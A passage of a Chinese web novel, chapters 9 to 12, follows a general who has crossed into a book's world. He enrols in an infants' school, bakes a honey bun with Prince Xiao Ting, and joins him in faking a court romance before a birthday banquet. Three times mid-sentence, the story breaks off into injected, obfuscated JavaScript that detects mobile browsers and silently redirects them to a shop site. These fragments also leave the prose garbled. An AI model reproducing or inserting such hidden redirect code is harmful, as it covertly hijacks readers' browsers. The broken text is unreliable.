那是几岁小孩开蒙的地方。费适一个堂堂大将军,战功赫赫,皇帝却让他和几岁孩子一起上学。这不是准奏,这是折辱。明摆着告诉天下人:你一个武夫还想当文官?行啊,从认字开始。 但话说回来,别管这些有的没的,萧汀只要一想到费适要和那些站着不如他坐着高的小萝卜头一块儿上课,摇头晃脑背书,说不定还要挨夫子的板子……他简直乐不可支,嘴角快要压不住了。 费适跪在地上接了旨,声音平平板板,听不出喜怒。 安顺悄没声息地供上茶酒钱,那珰头总算挤出个笑脸,转身走了。 费适单手托着圣旨站起来,弯腰拍了拍膝盖上的灰。 萧汀看着他,终于"噗"一声笑了出来。 "蒙学馆。"萧汀弯着月牙眼,“我好歹学的是小学算数,你呢?要去与四五岁稚童一道背《三字经》了。” 费适看了他一眼,“寺有三百六十四只碗,用尽不差争。三人共饭一碗,四人共羹一碗,问僧几人?” “………………” "我不管,我偏要笑。"萧汀当没听见,叉着腰继续笑,“定远大将军,蒙学馆,哈哈哈哈哈……” 费适转身就往外走。 “你干嘛去?” “回家。准备入学。” “哈哈哈哈哈你等等我,我送你……” “不等。” “我偏要送!” 萧汀笑哈哈地追了上去,手中那几张写满加法算式的纸叫风刮得哗哗作响,他也不松手,就那般攥着,直追着费适的背影奔出了院门。 9. 蒙学 萧汀这一趟撵路,直接跟回了大将军府,门房如今已是见怪不怪,行了礼,目送两人往前院而去。 费适领着他过了二门,直接入了正厅,厅里已经有人在等。 张氏穿着身靛蓝锦缎褙子,身形稍显富态,旁边鹅黄衫裙双螺髻的少女,是费适的小妹费莲。两人见了萧汀连忙行礼。 礼毕,张氏略有急切上前问:“头前有宣旨的公公来家,妾身同他讲,将军大约在九皇子府上,可寻到了?” “嗯,已接了。”费适将捧着的圣旨递过去,“伯父回来,请他供奉到宗祠吧。” 这两人说着话,萧汀则偷偷打量着费莲。 这是他头一回见这位险些与自己议亲的姑娘。之前总觉得兄妹俩,眉眼间总该有些共通的影子,可现下来看,竟是没有半分相似之处。 费适五官英气,眉高鼻挺,线条利落,费莲则是个圆脸,眼睛圆,鼻子圆,下巴也圆,再加上那规矩乖巧的气质,简直就是粒任人搓圆搓扁的糯米丸子。和他想象中骑大马的将门虎女差了十万八千里。 再回头,张氏小心捧着圣旨沉吟片刻,大约有心展开细看,碍着萧汀这位皇子在场又多有不便,欲言又止地将话咽了回去,只一叠声吩咐下人上茶。 待她回内室暂且搁好圣旨再出来,费适端起手边茶盏轻抿一口,开口道:“伯母,我已辞去军职了。” 张氏瞠目结舌,“你……” “皇上已恩准,我打算从文,走科举的路。”费适放下手里茶盏。 厅内安静了几息。费莲抬头看了哥哥一眼,余光扫过毫无异色的九皇子,飞快地低下了头,手指攥紧了袖口。 张氏从震惊中回神,嘴唇动了几下才发出声音,“怎的……这么突然……” 费适道:“并非突然,我已考虑许久。伯母不用忧心,我心里有数。” 张氏做了这么些年费家宗妇,早练出一副沉稳性子,此刻既不追问也未埋怨,只颔首道:“那就听将军的。家里的事将军不用操心,有我呢。” 费莲始终没说话,但攥着袖口的手指好歹松开了些。 萧汀坐在客位瞧完了这一幕,没插嘴。他虽然平时大大咧咧,但也知晓别人家事容不得他随意置喙。交代完这桩大事,费适便领着他往书房去了。 这里和萧汀头次来时变化不大,只窗边多了一个木架,上面放着一把拆了一半的弩机,零件分门别类摆着,旁边还搁着几个打磨的小工具。 萧汀在书房里转了一圈,摸了摸弩机,又翻了翻案上的书,末了往窗边躺椅上一靠,翘起腿来:“诶,降虎兄,你家妹妹同我想象中全然不同,与你也半点不像。” “哪里不像?” “哪儿都不像吧,长相、性子……你站着像一颗松,她搁那儿像……一根葱。”萧汀补多一句,“一根极乖的葱。” 费适没忍住笑了一声。 “费适的父母去世的早,他上战场的时候费莲还不到十岁,张氏是正经大户人家的姑娘,规矩大,又因自己不得生养,便将费莲当亲闺女教养。养成这般模样也不稀奇,横竖同她大哥也不怎么亲近。” 萧汀虽然早知费适是另一世界的来客,但听他这么描述自己的身世和家人,多少还是有点奇奇怪怪的感觉。 他歪头想了想,好奇问,“之前你说这是个话本子,我倒没想那么细,就你现在这身体这模样,究竟是书里人的,还是你自己的?” “我自己的。”费适应得笃定。 “……当真吗?那旁人看不出你和原来那个差别很大?又或者,你其实本就是费适,同我一样的书中人,不过做了一场神仙梦,自以为在穿书罢了。”萧汀突发奇想。 费适正在准备要带到蒙学馆的笔墨纸砚,闻言朝萧汀投去一眼,心道这小笨蛋的想象力倒是不错。 “自然确定。” “哦,是身上有什么特别之处吗?”萧汀说着话,从椅子上蹦起来,贴近费适转着圈地瞅。 头脸身手……看不出跟常人有什么不同的。最多最多也就是好看了一点而已。 难道……在一些看不见的地方? 萧汀上手扒着人的胳膊,从脖颈处往下琢磨,越凑越近。 原本放任自流的费适伸出两根指头,怼着他的脑门把他推开了些。 “干嘛,都是兄弟,不能给我看看吗?在哪儿在哪儿,啥样的?”萧汀不满。 费适手上一使劲儿,把人彻底推远,哼笑一声没接茬。 身穿这件事其实他也不是很明白,从北境军营里睁眼的时候,他全身甲胄长发及腰,可独有特征还在,身体确实是他自己的身体,从手下将士到身边小厮,没有一个人察觉大将军已整个换了皮囊。 实在想不通逻辑他也就懒得想了,都能穿书了,还有什么是不可能的。 目的未遂的萧汀气鼓鼓坐回躺椅,隔了会儿又问,“那你在原来世界是什么样的,就……穿来之前。你家什么样?你父母什么样?可有兄弟姐妹?” 费适扭头看去,萧汀的眼底没有试探,只是纯纯的好奇。 他默了默,继而轻描淡写,“就很寻常的三口之家,没有兄弟姐妹。我爹很寻常,我也很寻常,读过一些书,拿过两个博士头衔,然后早九晚五地上值,一年到头也就挣上几百万的窝囊费,与旁人没什么不同。” “哇,博士诶,而且两个,听上去就极厉害。”萧汀在躺椅上坐着,甩着腿仰着头问,“我只知道茶博士,武博士,你是哪两种?” “学历史的,若不然,到了这儿还真有些不习惯。” “那你原来的家……你不想回去吗?” “不想。”费适几乎没有考虑,断然道。 这语气太坚决了,坚决到萧汀没敢继续往下问,在他看来,莫名其妙到了另一个世界却又不想回家,多半有些难以言说的伤心事,逼着人自揭其短不是兄弟所为。他识趣地换了个话题。 “对了,你去蒙学馆不光得有文房四宝,还得自备启蒙教材,三百千千得有,给夫子的束脩也要备,另外,还得有个书箱吧,背去装书的……” 说到这,萧汀来了兴致,当即拍了胸脯,“旁的不说,书箱包在我身上,我一定给你打个最好看的,保证大晟朝找不出第二个。” 费适对他的木工手艺倒是很信任,笑着点点头。 这日一早,天还没亮透,萧汀就拎着一个大书箱出现在将军府门口。 书箱是柏木的,打磨得光滑如镜,边角做了一点圆弧处理,看着干净利落。最妙的是翻盖内侧,萧汀偷偷加了两个小暗格,一个放笔墨,一个放零嘴。暗格的机关藏在合页旁边,不仔细看根本发现不了。 费适接过书箱装东西,很快就摸到了暗格,掏出里面装的小纸包抬头看了萧汀一眼。 “蜜饯?” “读书费脑子,万一饿了怎么办。”萧汀笑嘻嘻。 就启蒙用的那么点书,能费什么脑子?感觉这家伙就是不怀好意。费适倒也没表露出来,脸上挂笑道了谢,将书箱背上。 蒙学馆在京城南坊的一条巷子里,就是个普普通通的启蒙学堂。但因为今天有位特殊的新生报到,巷口竟比过年还热闹几分。 萧汀送费适到学馆门口的时候,这里已经围了一圈人。都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523845|202852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是送孩子入学的家长,有穿绸缎的富商,有穿粗布的小吏,有抱着孩子的妇人,还有拄着拐杖的老翁。明着是送孩子,但说白了,他们是来看大将军的。 消息不知怎的就传遍了京城。定远大将军费适,弃武从文,奉旨入蒙学馆,从童生做起。这事儿说出去几乎没人敢信,但圣旨却假不了,蒙学馆的李夫子昨晚连夜把入学礼的流程又过了一遍,生怕出了差池。 费适站在蒙学馆门口,背着萧汀做的柏木书箱,完全无视他人的各色视线,面色如常。 萧汀挤在人群里,踮着脚往里看。 蒙学馆不大,正堂挂着至圣先师的画像,画像前摆着一张放着香炉和牌位的供桌。正堂两侧各有一间厢房,是日常上课的教室。院子里还有一棵老银杏树,树下放着几张矮桌和蒲团,许是天暖的时候露天上课用的。 入学礼开始了。 头一桩,正衣冠。李夫子是个五十多岁的老头,留着山羊胡,走路慢吞吞的,一看就是教了一辈子小孩的那种老学究。他站在正堂前面让孩子们自己整理衣帽。 一群四岁许的奶娃娃手忙脚乱地拽衣襟、摸帽子,有的越拽越松,有的反倒把帽子扣歪了,还有一个直接把腰带扯掉了,裤子差点掉下来,他爹在窗外脸都绿了。 费适站在最后一排,低头整了整衣领,拍了拍袖口,动作斯文儒雅,却又一丝不苟。 而后是叩拜先师牌位。李夫子带着学生们面向供桌三叩首。奶娃娃们跪下去的时候歪歪扭扭的,费适左手边的那个叩完干脆没起来,直接坐在地上开始玩自己的鞋。 他也当没看见,跪下去,起来,再跪下去,再起来……动作标准,态度恭谨,任谁也挑不出他的错。 萧汀在院外看他,原本跟身边家长们一样就是看他笑话来着,可是笑着笑着,心里忽然有点说不上来的感觉。费适跪得不卑不亢,丝毫不像是被羞辱的样子,那种沉稳的气度和端方的仪态,实在令人心折。 到了最末一桩,朱砂启智。 李夫子拿着一支蘸了朱砂的毛笔,挨个走到孩子面前,在每个人的眉心点上一个红点。 被点了朱砂的奶娃娃们排成一排,眉心一点红,脸蛋粉扑扑的,煞是喜庆可爱。有个手快的伸手去抹,抹了一手红,吓得嘴角一瘪,金豆子立时滚了下来。 李夫子走到费适面前,脚下微顿。 八尺壮汉和三四岁的奶娃娃比肩而立,画面着实有些诡异。他抬头看看费适的脸——这张脸他以前也见过,那时候还是甲胄加身、班师回朝的威武大将军,现在换了一身素色常服,少了几分杀气,多了十分的平和,骨相却分毫未改,眉眼间仍是那般锋利。 费适微微低头,把额头凑过去。 李夫子的嘴角抽了一下。他定定神,笔尖落在对方眉心,轻轻一点。 费适直起身来,眉心一点朱砂,面容沉静。 同款校服,同款朱砂,混迹在奶娃娃堆里的大将军让萧汀笑得快岔气了,这画面他得记一辈子。但恰在此时,费适的目光忽然飘了过来。 很轻的一眼。 随即收回视线,低眉垂眸。 一如微风掠过池塘,却连涟漪都未曾留下。 那一瞬间说不清为什么,萧汀只觉后背汗毛倏地一竖。费适垂着眼皮的模样,衬着眉心一点红,温和得就像庙里的菩萨,但刚才那一眼,又分明…… 分明什么?萧汀又说不上来。 他笑了一下,将视线移开,看了一会儿天上的流云。 嗯,云朵白白胖胖的,瞧着好生蓬松。家中烤炉已经干透了,回去就试试做蛋糕吧……想吃。 10. 发饼 申时刚过,蒙学馆的银杏树下又聚拢了一堆人。皆是等孩子放学的家长,站着的蹲着的,还有自带小马扎摇着扇子的。 天仍热得厉害,几个妇人索性围作一处闲磕牙,东家长西家短,七嘴八舌好不热闹。 萧汀让安顺候在马车里,自己靠在学馆墙根底下,没挤进家长堆,但也离着不远,耳朵竖得老高听热闹。 为这个,他还特意换了身不起眼的打扮,鱼肚白的窄袖衫,深灰长裤,头发随意束个高马尾,配上根自己雕的黄杨桃花簪,看着就像是哪个富贵人家出来闲逛的小公子。 话题七拐八绕,终是绕回了学堂里。 “你们家那个今儿被罚站了吧?我瞅他活泼得很。”一个穿青布衫的妇人问,怀里还抱着个满脸泪痕的小女娃。 “没有没有,出门前被他爹教训过了,今儿可老实,坐那儿一动不动。”另一个妇人笑起来,“再说了,大将军就坐他边上,他哪儿敢胡闹?” 一提起这个,几个妇人笑作一团,话题自然就拐到了这位大将军为何好好的官不做偏来念蒙学。再然后,毫无意外地拐到了萧汀身上。 “我三姑的邻居的二舅的外甥在宫里当差,说大将军跟那位九皇子……啧啧,绝对是真的。” “什么事儿啊?” “你们竟然不知?”藕荷色褙子的妇人眉眼乱飞,四下里瞅瞅,伸出两根食指扣在一处勾了勾,又拿扇子挡了挡嘴,“断袖之癖啊。” 妇人们倒吸一口凉气,八卦之魂瞬时燃烧到了极致。 “不是吧,九皇子?那个……据说长得极好看却又极笨的九皇子?” “就是他。听说白玉似的人儿,难怪大将军把持不住,也不怕皇帝爷爷砍他脑袋。” “哎呦……那九皇子得好看成啥样啊?勾得一个大将军连前程都不顾了……” 正说着,一个妇人忽然发现越来越向她们靠近的萧汀,眼神一亮,招呼道:“哎,这小公子俊的,你也是来接人的?” 另外几个妇人一瞧他这脸,齐齐“呦”了一声。 “对,来接个……兄弟。” 萧汀笑眯眯的,索性凑上前去,一脸神秘地压低了嗓,“你们说那事儿,我也听人提过,我有个亲戚也在宫里当差,还说九皇子与大将军痴情得很,大将军在宣和殿外跪了大几个时辰求皇帝开恩,九皇子就在旁边杵着等他,正午多毒的日头啊,说等就等了,一步都不曾挪。” “哎呦,好几个时辰?这身娇肉贵的皇子,也不怕中暑了……”妇人们纷纷为这段凄美奇情叹息起来。忽有一位低声问:“那你那位亲戚,可知这俩人谁上位谁下位啊?” 萧汀不晓得这什么意思,但他是皇子,论尊卑也该是他在上,麻溜地答,“自然九皇子上位。” 哎呦呦的声音低低响了一片,妇人们实在为大将军感到惋惜,有泼辣的却笑出了声,直言那么大的个头却是个伏低做小的兔儿,约莫外强中干,家伙事儿不太中用吧。 “可不是么……啧啧。”萧汀一脸感慨地表示赞同,他正想再多编排几个细节把事儿夯实些,蒙学馆的大门却在这时开了。奶娃娃们像一群刚放生的雏鸭,叽叽嘎嘎地涌将出来,家长们立时抛下八卦之心迎了上去。 费适走在最后面。背着书箱,步子懒懒散散的。蒙学里闷了大半日,领口微微有些汗湿,眉心那点朱砂倒还留着,但比早上淡了许多,像一粒快要褪尽颜色的红豆。 萧汀欢快地蹦跶到他跟前,自然而然地去拽书箱带子,想替他解下来自己拎着……没拽动,只能歪头看了看他的脸:“热不热?渴不渴?腿麻不麻?坐那个小蒲团累不累?” 其实他最想问的是大将军有没有被夫子打手心,但感应着周围越来越灼热的目光,也只能把对爱妃的这份关怀爱护演到十足。 费适看了他一眼,“不热,不渴,不麻,不累。” 咦,怎么瞧着有点不爽利。萧汀愈发殷勤地绕着他团团转,“怎么可能不热,衣裳都湿了,赶紧上车喝口水吧。” 原本与萧汀热聊的那几位,本来还在接自家孩子,这会儿纷纷扭头看过来,目光在两人之间来回扫,一脸的惊诧过后又猛地变了嘴脸,有些怕,有些欲言又止,外加果不其然。 只不过视线焦点中的两位,一个完全不在意,另一个甚至洋洋得意,丝毫不在乎这些人的看法,贴靠着一起出了巷子,再拐个弯,安顺已在马车下候着了。 上了车,费适放下书箱,端起凉茶灌了一大口,萧汀也终于露出本色,飞着眉毛追问:“今天学的怎样?嘿嘿,同窗都好相处吗?” 费适没应声,放下茶盏,掏出手帕不紧不慢地擦着额头,将那枚朱砂抹干净,脸色看上去还是笑盈盈的,但就是不说话。 萧汀等了好几息,没等到答案,识趣转移了话题:“不想说便算了……回府教我做蛋糕吧。” “炉子干透了?” “嗯,就等着你这蛋糕博士了。”萧汀托着下巴支在桌面上,垂下眼尾,“大将军,请?” 费适斜斜撇他一眼,都已经被拽上了贼车,车轱辘明明朝着全兴坊去了,还假模假式地请什么请。但他也没有扫兴,横竖军职已辞,左右也是个闲字,品品美食犒劳犒劳五脏府,也算得趣。 没多会儿马车便回了九皇子府。萧汀一进门就开始吆喝安顺帮忙张罗。 面团么,无非就是把面粉、鸡蛋和蜂蜜混在一起,搅成糊糊。 费适在旁边悠闲看着。 他穿书前在国外读书时见人用烤箱做过几次,具体的配方比例却记不清了,毕竟不是学这个的。他也就只能说个大概齐,至于具体放多少份量,得萧汀自己尝试。 "你瞧这稠度行吗?"萧汀举着碗问他。 费适看了看,“太稠了,加水。” 萧汀加水。 “太多了,加面粉。” 萧汀加面粉。 “又稠了。” 萧汀瞪他,“你到底知不知道?” “不知道,猜的。” “……” 费适老神在在地背着手,嘴角微微勾了勾。他其实就是纯捣乱,不负责任的一通瞎指挥。这会儿瞧着萧汀气鼓鼓的样子,心底那一丝莫名的憋闷总算泄了个干净。 末了萧汀凭感觉调了一碗,倒进一个陶碟子里,端到那个干透的泥炉子前。安顺在炉子底下塞了柴火引燃,萧汀就蹲在旁边盯着,活像只孵蛋的老母鸡。 费适坐回梧桐树底下乘凉,顺便品茶,就那般看着他蹲在那儿。 约莫一炷香的功夫,萧汀双手裹着湿布,小心翼翼将碟子从炉子里端了出来。 碟子里是一坨金黄色的……东西。 它确实膨胀了些许,但膨胀得极不匀称,一边高一边低,表面还有几道细微的裂缝,颜色倒是不难看,金灿灿的。但形状跟萧汀预期的完全不一样。他想做的是软软的、蓬松的蛋糕,这东西瞧着更像一块厚实的发饼。 萧汀盯着它,沉默了。 费适走过来,也沉默了两息,然后瞥见萧汀菱角似的唇开始压得扁扁的。 "蜂蜜馒头。"他说。 “啊?这不是一坨……”最后一个字,萧汀实在说不出口。 费适没再多话,径直掰了一块塞嘴里。 不难吃。虽然跟蛋糕完全不一样,没有那种松软绵密的口感,但扎实有嚼劲,蜂蜜的味道渗进了面里,甜而不腻,嚼到最后还有一股淡淡的麦香。于是他又掰了一块。 "……好吃么?"萧汀小心问道,生怕一个不留神把大将军给毒死。 费适又嚼了两下,“好吃。我喜欢有韧劲的。” "有多好吃?"萧汀手上缠着湿布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530138|202852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不方便,直接冲着费适张开嘴,“啊——” 大将军欣然投喂。 萧汀嚼嚼嚼……确实还不错,挺耐嚼。 "比荣盛斋的点心还好吃。"费适说。 "真的?"萧汀立刻来了精神。 “真的。那些糕点甜得发齁,哄哄孩子嘴还行,这个就刚刚好。” 萧汀开心极了,将碟子端到石桌上,甩掉手上的湿布,伸手就是一大块,先递给了费适,费适接过来开嚼。二人杵在屋檐底下,一人一块地啃那个凹凸不平的蜂蜜馒头,像两只分食的野猫。一大一小。 这一大块结结实实的面食下肚,以至于晚饭上桌的时候,两人都有些吃不下了。 萧汀府上的大厨姓周,三十出头,手艺相当的好。四菜一汤荤素相宜,凉拌藕片、酱焖肘子、清蒸鲈鱼、时令蔬菜,再加一碗冬瓜排骨汤。摆盘不算精细,但色泽瞧着便舒服。 吃不下,却为着不糟蹋粮食,萧汀也尽力往肚里塞,一面同费适讲着今日从人堆里听来的闲话权作消食。 到了后半程,萧汀忽然想起一桩:“对了,我三哥选妃的事……听人提了好些人选,什么工部侍郎家的、礼部郎中家的、太常寺卿家的,但你先前说的那个陈涵之,怎么没听人提?” 费适略想了想,“陈涵之的家世,在贵妃眼里压根不够格吧。” “那三哥后来怎会看上她?” “不是看上的,是撞上的。马上就到观莲节了,今年在北郊浣澄溪,京城官宦人家的公子小姐都会去。三皇子去的时候恰好撞见陈涵之,一见钟情,回头便同于贵妃说要娶她。” “真……一见钟情啊,那于贵妃是什么反应?” “不大乐意。她看中的是工部侍郎家的嫡女。陈涵之的父亲只是个穷翰林,朝中没什么分量。只是三皇子非她不娶,贵妃拗不过,拖着没应也没拒。” “那老十呢?你不是说他也喜欢陈涵之?” “陈涵之的兄长是萧淌的伴读,两人自小一起长大。三皇子喜欢陈涵之,本就不是什么秘密。” “哇,所以是三哥先抢了弟弟的心上人。”萧汀叹了口气,“这可下热闹了。” 费适放下筷子,沉默了一下:“另外还有件事……” “什么?” “从我决定要救你、同你说实话那天起,许多事说不定便已悄然变了。说简单些,牵一发而动全身,之前同你提过的那些剧情点,未必还会循着原来的轨迹走。” 萧汀眨了眨眼,“你是说,那些八卦可能不准了?” “不只八卦。大事也可能生变。” 萧汀沉吟了两息,还没来得及接话,费适忽然起身,从书架上拿出那本《小学算数》,翻到一页递过来:“乘除法学到哪了?” 萧汀一愣:“竖式乘法会了,除法……昨儿刚看完你写的那页,还没动手算过。” 费适指了指纸上提前写好的一道题:一百五十六乘以二十三。 萧汀低头看了看手里的碗,这么突然的嘛?我饭都尚未消化呢…… 可大将军的神色很认真,他莫名有些怵,捏着筷子就开动了脑子。个位乘个位,进位,十位乘个位,再加进位……哐哐地在心里默算了一阵,报出个数来:“三千五百八十八。” 费适点了点头,又翻了一页:九百二十四除以十二。 除法。萧汀皱着眉算了片刻“……七十七。” 费适合上册子,看了他一眼:“学得挺快,就说你心算不差的。” 萧汀刚要笑,又听他说:“观莲节,一起去瞧瞧热闹吧。” 萧汀整个儿亮了起来:“当真?” “嗯。学得这么好,值得奖励。” 萧汀乐得把筷子往桌面一丢,扑过去抱住费适的胳膊, “降虎兄,你可真是我的好兄弟!” 11. 饮宴 观莲节还没等到,先等到了三皇子的生辰日。 帖子送到九皇子府的时候,萧汀正扒拉着小学算术的册子,计算费适给他留下的作业。 他搁下纸笔,翻开那张烫金帖子看了两遍,确认上面写的确实是自己的名字,不是送错了门。这活了十五年,还头一回收到三哥的帖子。安顺的消息灵通,还说大将军府也收到了。 新鲜劲儿过了之后,心里头浮上来的第一个念头不是受宠若惊,是这顿饭怕是不太好吃。 萧汀把帖子往桌上一搁,坐在那儿想了半晌,越想越觉得不对劲。 他从来以太子马首是瞻,和三哥素无往来,逢年过节即便在宫中碰上面,也连句客套话都懒得互相递,怎么就忽然想起请他吃生辰酒了?还连着费适一块儿? 怕不是三哥对他俩还有怀疑,要当面验一验? 糟了,前两日忙着给大将军做书箱,又忙着学算术,倒是把演断袖的事儿忘了个干净。 他生平见过的断袖也就当初东宫门口被打的那一对,小珰大约已没了,那侍卫也不知还活着没有,实在没处取经。 那就只得多读书了。 萧汀把安顺叫到跟前,本想说“你去书铺替我买两本讲断袖情的话本回来”,话到嘴边又咽回去了。安顺虽然贴身,可这事儿他还瞒着安顺呢。装断袖是为了保命,多一个人知道就多一分风险。 他挥挥手让安顺下去,自己翻出一身泥灰色的布衫换上,揣上几块碎银子从后门溜了出去。 到了南城一家大书铺,萧汀进了门也不绕弯子,压低声音说要买风月话本,写两个男子的那种。 掌柜是个圆脸老头,闻言抬起头来。 他嘴巴张了张,又合上,最后挤出一句:“这位公子,小店……小店没有这等书。您去东城柳条巷那家问问,那家掌柜或许有存货。”说完目光往萧汀身上一扫,低头继续打他的算盘,眼珠子都再没抬起来。 萧汀觉得掌柜这反应有点古怪,但也顾不上多想,道了声谢,转身出门,在街口叫了辆驴车直奔柳条巷。 柳条巷的书铺比南城那家小得多,门脸缩在一棵歪脖子槐树后头,招牌上的漆都剥了大半。萧汀掀开帘子的时候,门楣上挂的一串铜铃叮叮当当响了一阵。 铺子里光线昏暗,空气中浮着一股纸页发潮后晾干的陈味,混着极淡的烟草气。 柜台那站着两个人。瘦高个儿看上去像是掌柜的,三十来岁,面皮白净,指尖捏着一杆细细的铜烟枪。另一个是位少年,瞧着比萧汀大不了两岁,生得白净,正微微弯着腰听掌柜说话。 掌柜的声音压得很低,萧汀只听见半句“这册子极好,你回去细读……”后头的话便被铜铃响盖过去了。那少年听见有人进来,立刻直起身,低着头从萧汀身侧快步走过,掀帘子出去了,连脸都没让人看清。 掌柜将烟枪换到另一只手上,抬起眼来打量萧汀。 那目光和南城掌柜的又不同,萧汀有点说不上来,像是野狗突然看见一块肥肉,把他的脸、肩、腰、手挨个掂了一遍。然后慢慢吐出一口烟,那团白雾不偏不倚全喷在了萧汀脸上。 萧汀被呛得眯了眯眼,拿手扇了两下。 “公子想寻什么书?”掌柜问。 萧汀把刚才在南城那套说辞重复了一遍。掌柜听完,烟枪在指间转了一圈,眼睛里浮出些说不清道不明的笑。 “公子头一回来我这儿吧?我这店里确实有些旁处没有的本子,只是……”他顿了顿,烟枪嘴轻轻磕了一下柜台边沿,“公子真想要?” 萧汀嫌那烟味臭懒得说话,只点头掏出了碎银子。瘦掌柜又看了他两眼,没再说什么,转身进了里间,过了半晌才捧出两本薄薄的小册子,用粗布裹着。 “公子拿好了。”掌柜把粗布包袱往萧汀手里一推,笑吟吟地往门框上一靠,目送他出了巷子。 萧汀抱着包袱走出去老远还在想,这掌柜什么德行,人倒是不丑,可笑得怪瘆人的。 悄悄溜回到府里,萧汀把两本话本摊在桌上。他识字不算很多,但话本子里的字倒还都认得。什么“唇齿相依”,什么“解衣推食”,什么“同榻而眠”,还有什么什么“檀口度香”“玉山相偎,两手撑席,一起一落……” 他从头翻到尾,越翻耳朵越热。有些词他大概能猜出意思,但又猜不太准。 唇齿相依是不是就是两个人对着啃?度香又是怎么个度法?他挠了挠脸蛋,把书合上,觉得自己悟性不够。 算了,这事不能光靠自己琢磨。费适什么都知道,得找他一起研究。 入夜,萧汀抱着话本出了门。到了将军府,门房探出头来,见是他便往里让,一面走一面说费将军出去了,还没回来,让殿下在书房稍等。 萧汀在书房里坐了两刻钟的功夫,把墙上挂着的弩机取下来摸了摸,又挂回去。实在无聊,就把包袱里的话本掏出来摊开,心里把待会儿要问的问题过了一遍。那么多招式,先问哪个好呢…… 费适推门进来的时候,一身深色的窄袖便服,领口微微有些汗湿。 萧汀问他去哪儿了,他只说“出去办了点事”,然后随手把外袍脱了搭在椅背上,在桌边坐下端起茶盏,饮了口茶。目光扫过桌上那两本话本,抬眼看了看萧汀。 萧汀便把三皇子帖子的事说了,又把自己偷偷去买话本的经过从头到尾讲了一遍。他说到瘦掌柜对着他脸上喷烟的时候,费适把茶盏搁回桌上,发出一声极轻的磕响。 “那人还跟你说什么了?” “没了啊,就问我是真想要么,我说是,他就卖了。”萧汀浑然不觉费适眼中的神色,兴冲冲地翻开话本,指着第一页,“你帮我看看这个,唇齿相依,到底是谁的唇谁的齿?相又是怎么个相法?是不是就这样……” 他把嘴嘟起来,嘬嘬两下,又露出一口白牙上下碰碰,“这样磕?” 费适靠在椅上,挑眉看着他,没说话。 萧汀又翻了一页。“还有这个,解衣推食。推食我知道,就是让吃的。解衣呢?”他低头看了看自己的衣带,又看了看费适领口松垮垮的中衣,忽然伸手去扯费适的衣领。 费适一把攥住他的手腕,“别乱动。” “这怎么是乱动?书上教的……我就同你研究一下解衣。”萧汀理直气壮,“明日三哥要是让人灌你酒,我说不定就得替你解衣裳,总不能到时候手忙脚乱的,我可从没伺候过人。” 他挣开费适的手,却没胆再递爪子了,只能又往后翻了翻,“还有同榻而眠,这个简单,咱俩不是已经睡过一个屋了?大不了,这次让你上床来,我不嫌你睡相差。” 费适盯着他看了两息的功夫,摇了摇头,“都是些什么乱七八糟的,你到时候乖乖的不说话就行。”说完把书一合捏手里,自顾自往外走去。 萧汀冲他身后喊,“不让看书那你倒是教我啊。” 费适洗漱好了再回屋,萧汀恰好脱了外袍搭在床尾,踢掉靴子翻身上了床,还往里头挪了挪,腾出半边位置。他拍了拍空出来的竹席,爽快道,“上来吧。” 费适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧汀准备的是一株半人高的红珊瑚树,色泽浓而不艳,搁在寿礼堆里既不出挑也不算寒碜。这是他让安顺从库房里挑出来的,是当年分府时太子随手赏的,他也不知道值多少钱,反正放着也是落灰。 午后时分,马车在三皇子府门口停下。萧汀跳下车,抬头看了一眼。 阔气,可真是阔气。 门前两座石狮子足有一人半高,爪下踏着绣球,连石座上的浮雕都是五福捧寿的纹样。朱漆大门上新贴了赤金楹联,门楣悬着御笔亲题的匾额,两侧廊下挂满了绢纱宫灯,光是门口迎客的仆从就有十几个,个个穿着簇新的绸衫,见人便笑,露出一口齐整的牙。 萧汀心想,他在全兴坊的那个家,怕是连人家的后院都不如。 进了大门更是另一番天地。 正厅前头的庭院铺的是整块整块的汉白玉地砖,游廊两侧的廊柱全是楠木的,雕着缠枝牡丹,每一朵花蕊上都点了金粉。廊下摆了一长溜的紫檀长案,案上堆着宾客送来的寿礼。光是半人高的珊瑚就有三株,萧汀那株搁进去果然既不出挑也不算寒碜。 宾客满座,朝中官员来了大半,萧汀一眼扫过去,光是穿紫袍的就有好几个。三皇子府上的侍婢端着托盘在席间穿梭,托盘上搁的是官窑出的青瓷盏,盏中酒液清透,一看就不是凡品。 萧汀和费适在廊下站了片刻,一个管事模样的中年男人迎上来,躬身行礼,引着他和费适穿过游廊,在靠前的位置入座。 他坐下时还刻意往费适身边挪了挪,周围已有几道目光若有似无地飘了过来,他端起茶盏挡住半张脸。 这断袖演得如何,大约很快就有分晓了。 12. 赛马 这厅堂面阔五间,四角搁着半人高的冰鉴,里头镇着新鲜瓜果,凉意丝丝缕缕地散开。 两人一落座,侍女立刻端上来今春的明前龙井。 萧汀端起来抿了一口,心想他府里过年也舍不得喝这种茶。 他悄悄扫了一圈周围的宾客,工部的、户部的、三大营的将领,朝堂上没少在太子和三哥之间左右腾挪。 